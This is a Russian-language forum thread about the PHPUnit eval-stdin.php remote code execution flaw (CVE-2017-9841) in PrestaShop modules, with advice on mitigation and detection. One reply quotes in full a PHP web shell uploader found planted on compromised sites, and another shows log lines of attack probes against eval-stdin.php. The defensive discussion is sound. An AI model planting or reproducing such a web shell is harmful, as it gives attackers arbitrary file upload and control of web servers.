Автор Тема: Воскрешение уязвимости PHPUnit в Prestashop  (Прочитано 4884 раз)

21 Октябрь 2020, 13:22:49
  • Модератор
  • Ветеран
  • *****
  • Сообщений: 105673
  • Репутация: +39553/-0
    • Просмотр профиля
    • Webstudio UwK
В начале 2020 года вышло предупреждение от команды Prestashop.
https://build.prestashop.com/news/critical-security-vulnerability-in-prestashop-modules/

После обнаружения проблемы был выпущен патч. Как только патч для выпущен, мы думаем, что проблема решена, и баг теперь не работает. В большинстве случаев это не так. Для решения этой проблемы от всех разработчиков требуется использование последней версии патча. Поскольку обновление не является особенно тривиальным действием, разработчикам необходимо планировать заранее и вставлять изменения через процесс разработки, планируя подходящее время для применения.  В рамках исследования, проведенного в Imperva, наблюдается около 9 млн попыток атак с использованием уязвимости PHPUnit. Оно является одним из наиболее эксплуатируемых в 2019 г.
Попытки атак по годам:
- 2019 - около 7 млн за последние шесть месяцев.
- 2020 год - около 2 млн до января
Как мы видим, около 70% атак было совершено в период между последними двумя месяцами 2019 года по январь включительно.

Начало проблемы.
27 июня 2017 года, была выявлена уязвимость для удаленного выполнения кода (CVE-2017-9841) в PHPUnit, широко используемом фреймворке тестирования для PHP, который используется для выполнения юнит-тестов в цикле разработки приложений. К сожалению, многие процессы разработки не являются оптимальными, и этот фреймворк остается включенным в продакшене, что делает жизнь злоумышленников слаще.
С тех пор, как этот фреймворк начали использовать в популярных CMS (Content Management Systems), такими как WordPress, Drupal и Prestashop, а также многими модулями, созданными сторонними разработчиками, масштабы данной бреши в безопасности могут быть достаточно широкими.

Вот, например, несколько известных модулей, которые внедряются в продакшен - в том числе и в фреймворк PHPUnit:
- Prestashop: (autoupgrade ,pscartabandonmentpro ,ps_facetedsearch, Gamification, ps_checkout);
- WordPress: ( плагин Jekyll Exporter, Dzs-videogallery, cloudflare, MediaWiki, Moodle);
- Drupal: (Mailchimp/Mailchimp commerce);

Следует учитывать, что даже если вы запатчите "PHPUnit" как таковой, вы все равно будете уязвимы при использовании фреймворка, который основан на старых версиях.

Выводы:
Старые уязвимости не исчезнут с момента публикации патча. Что бы уязвимость исчезла, от разработчика, использующего уязвимый фреймворк, требуется выполнять обновление каждый раз при выходе изменений, в реальности он может игнорировать рекомендации по исправлению ошибкок из-за больших объемов работ, сложности изменений.  Так как новые патчи регулярно публикуются, многие фреймворки и сторонние модули не успевают использовать последний обновленный код и оставляют проблемы безопасности в своих разработках. Хакеры это знают, и именно поэтому они до сих пор успешно проводят атки со старыми уязвимостями.

В дополнение к используемой старой уязвимости PHPUnit, есть предположения, что новая уязвимость в PHPUnit еще не опубликована. Если это так, то, возможно, затронуты все версии PHPUnit, содержащие eval-stdin.php.
Имейте в виду, что вы можете неосознанно использовать уязвимый модуль, разработанный третьими лицами с помощью фреймворка PHPUnit, не удаляя его перед публикацией в продакшен.

Ваши сайты уязвимы?
- Проверьте, существует ли PHPUnit на вашем веб-сервере.
- Если да, и ваша версия PHPUnit до 7.5.19 и 8.5.1, то возможно, что вы уязвимы при определенных конфигурациях сервера.
- Рекомендуется удалить его (хотя в некоторых случаях это может привести к отказу в работе сайта), можно также заблокировать удаленный доступ к каталогу vendor, который является корневым путем фреймворка PHPUtil.

Ваши сайты заражены?
- Проверьте новые файлы по пути PHPUnit
- Проверьте основные файлы, которые были изменены в последнее время.
Cоздание интернет сайтов Webstudio UwK
21 Октябрь 2020, 13:29:04
Ответ #1
  • Ветеран
  • *****
  • Сообщений: 22125
  • Репутация: +25303/-1
  • Prestashop - просто и эффективно
    • Просмотр профиля
Эксперт Prestashop - решения всех проблем, написание модулей, создание тем для интернет-магазинов под Prestashop.
Эксперт Magento - создам сайт на Magento, программирование кастомных модулей для Magento, кастомизация тем Magento.
Лучшие цены!!!
21 Октябрь 2020, 13:36:01
Ответ #2
  • Партнер
  • Ветеран
  • ****
  • Сообщений: 22816
  • Репутация: +17143/-1
  • Разработка веб-сайтов и веб-программирование
    • Просмотр профиля
Ваши сайты уязвимы?
- Проверьте, существует ли PHPUnit на вашем веб-сервере.
- Если да, и ваша версия PHPUnit до 7.5.19 и 8.5.1, то возможно, что вы уязвимы при определенных конфигурациях сервера.
- Рекомендуется удалить его (хотя в некоторых случаях это может привести к отказу в работе сайта), можно также заблокировать удаленный доступ к каталогу vendor, который является корневым путем фреймворка PHPUtil.
В prestashop даже в последней версии и многих модулях используют версию 5.7. Вот пример из некоторых модулей.
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/5.7/phpunit.xsd" bootstrap="tests/autoload.php">
Интернет-магазин под ключ.
Какой выбрать движок для интернет магазина ?
Какой движок лучше ?
Magento или Prestashop ?
Решение всех Ваших вопросов в создании Интернет-магазина.
21 Октябрь 2020, 13:53:42
Ответ #3
  • Модератор
  • Ветеран
  • *****
  • Сообщений: 86688
  • Репутация: +25428/-0
  • Сообщество PrestaShop
    • Просмотр профиля
Добавлю к перечисленным модулям prestashop
autoupgrade, pscartabandonmentpro, ps_facetedsearch, gamification, ps_checkout
еще пару
psaddonsconnect, ps_mbo

И еще
/vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/
21 Октябрь 2020, 14:01:54
Ответ #4
  • Ветеран
  • *****
  • Сообщений: 22125
  • Репутация: +25303/-1
  • Prestashop - просто и эффективно
    • Просмотр профиля
И еще
/vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/
Читали что пишут в prestashop?
Цитировать
Should I also delete the Symfony related folder /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/?
No.
Only the folders <prestashop_directory>/vendor and <prestashop_directory>/modules/<module_name>/vendor can contain the vulnerable library PHPUnit. The folder /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/ is safe do not delete it.
Так что папку /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/ трогать нельзя.
Обновлять нужно до последний версии prestashop, если хотите быть уверными в закрытии этой дыры.
Эксперт Prestashop - решения всех проблем, написание модулей, создание тем для интернет-магазинов под Prestashop.
Эксперт Magento - создам сайт на Magento, программирование кастомных модулей для Magento, кастомизация тем Magento.
Лучшие цены!!!
27 Октябрь 2020, 08:42:13
Ответ #5
  • Новичок
  • *
  • Сообщений: 30
  • Репутация: +3/-0
  • Программист для PrestaShop
    • Просмотр профиля
    • Мои модули для PrestaShop
Авторы статьи сделали заголовок слишком громкий - так можно о многих старых уязвимостях написать. В действительности, новой уязвимости - нет.
Сейчас проверил свои сайты - нашел на нескольких сайтах файл с уязвимостью (eval-stdin.php). Уязвимости на нём не воспроизвести извне, т.к. он уже включает исправление. Просмотрел все логи - сотни запросов на "прощупывание" и десятки запросов к найденному файлу eval-stdin.php. Пытались, но ничего не получилось, хотя я по началу напрягся ;D
27 Октябрь 2020, 12:28:19
Ответ #6
  • Ветеран
  • *****
  • Сообщений: 1285
  • Репутация: +13/-1
  • Сообщество PrestaShop
    • Просмотр профиля
Проверил свои. Из 12 сайтов, 8 с файлами "phpXXX000sdf".
<?php echo 'PRIVET BOT BY XSam-XAdoo'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd getcwd(); Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center></td></tr> </table><br>'; if (!empty ($_FILES['uploads'])) {     move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);     Echo "<script>alert('upload Done');     </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; } ?>Удалил все что связано с phpunit.
Через пару дней опять появились эти файлы.
Что может быть еще?
27 Октябрь 2020, 16:38:15
Ответ #7
  • Ветеран
  • *****
  • Сообщений: 22125
  • Репутация: +25303/-1
  • Prestashop - просто и эффективно
    • Просмотр профиля
Логирование подключите. Увидите кто и когда создает эти файлы.
Эксперт Prestashop - решения всех проблем, написание модулей, создание тем для интернет-магазинов под Prestashop.
Эксперт Magento - создам сайт на Magento, программирование кастомных модулей для Magento, кастомизация тем Magento.
Лучшие цены!!!
27 Октябрь 2020, 20:05:22
Ответ #8
  • Ветеран
  • *****
  • Сообщений: 1285
  • Репутация: +13/-1
  • Сообщество PrestaShop
    • Просмотр профиля
Включено. Создает владелец, это очевидно. Эта информация ничего не дает.
Заметил что на сервере много процессов php-fpm. И они грузят ядра на 100%.

28 Октябрь 2020, 11:33:52
Ответ #9
  • Партнер
  • Ветеран
  • ****
  • Сообщений: 22816
  • Репутация: +17143/-1
  • Разработка веб-сайтов и веб-программирование
    • Просмотр профиля
Статус процессов? Что у вас с базой данных? Включите slow query log - лог медленных запросов.
Интернет-магазин под ключ.
Какой выбрать движок для интернет магазина ?
Какой движок лучше ?
Magento или Prestashop ?
Решение всех Ваших вопросов в создании Интернет-магазина.
28 Октябрь 2020, 14:12:53
Ответ #10
  • Ветеран
  • *****
  • Сообщений: 1285
  • Репутация: +13/-1
  • Сообщество PrestaShop
    • Просмотр профиля
Статус процессов? Что у вас с базой данных? Включите slow query log - лог медленных запросов.
Большинство в статусе "S".
В базе что проверять?
29 Октябрь 2020, 17:03:31
Ответ #11
  • Ветеран
  • *****
  • Сообщений: 1285
  • Репутация: +13/-1
  • Сообщество PrestaShop
    • Просмотр профиля
И еще
/vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/
Читали что пишут в prestashop?
Цитировать
Should I also delete the Symfony related folder /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/?
No.
Only the folders <prestashop_directory>/vendor and <prestashop_directory>/modules/<module_name>/vendor can contain the vulnerable library PHPUnit. The folder /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/ is safe do not delete it.
Так что папку /vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/ трогать нельзя.
Обновлять нужно до последний версии prestashop, если хотите быть уверными в закрытии этой дыры.
Может они там и пишут что-то, только на практике у меня в логах к этому файлу запросы почти каждую секунду
....
2020/10/28 05:50:48 [error] xxx#xxx: *access forbidden by rule, client: 193.27.229.26, server: xxxxxx, request: "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "xxxxxx"
2020/10/28 05:50:51 [error] xxx#xxx: *access forbidden by rule, client: 193.27.229.26, server: xxxxxx, request: "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "xxxxxx"
......
*access forbidden by rule потому что закрыл доступ к этой директории, после закрытия перестали появляться стороннии файлы.
10 Ноябрь 2020, 05:26:50
Ответ #12
  • Новичок
  • *
  • Сообщений: 30
  • Репутация: +3/-0
  • Программист для PrestaShop
    • Просмотр профиля
    • Мои модули для PrestaShop
Файловые пути то отличаются:
Цитировать
/vendor/phpunit/phpunit/src/Util/PHP/
/vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit/

Уязвимость была найдена только в файле eval-stdin.php
Рекомендацию, которую везде пишут, что, мол, удалите директории phpunit - сделана для упрощения. Хотя, смотрите, всё равно пользователи могут удалить не то, что надо...
По факту, удалить нужно только тот PHP-файл. Хотя файлы самого фреймворка PHPUnit и тестов модуля не должны находится в продакшене.

Удалить файл с уязвимостью не достаточно, если злоумышленник уже загрузил свои скрипты на сайт (внёс исправления в файлы сайта).
01 Ноябрь 2021, 05:17:23
Ответ #13
  • Новичок
  • *
  • Сообщений: 30
  • Репутация: +3/-0
  • Программист для PrestaShop
    • Просмотр профиля
    • Мои модули для PrestaShop
Обновил бесплатный инструмент проверки на известные уязвимости, чтобы проверял данную уязвимость, а также проверял на наличие загруженных файлов злоумышленником (взял список таких файлов из различных источников). Прочитайте мой комментарий на странице инструмента.

Я также обновил бесплатный модуль "Инструмент для технического обслуживания", которой теперь использует библиотечный код того инструмента, так, что теперь проверять сайт будет ещё проще.

Пример отчёта - во вложении. Я отметил проверку на эту уязвимость на скриншоте. Не обращайте внимания на информирование о потенциально вредоностном файле на скриншоте, так как он, на самом деле, безопасен (название файла просто совпадало с потенциально вредоностным).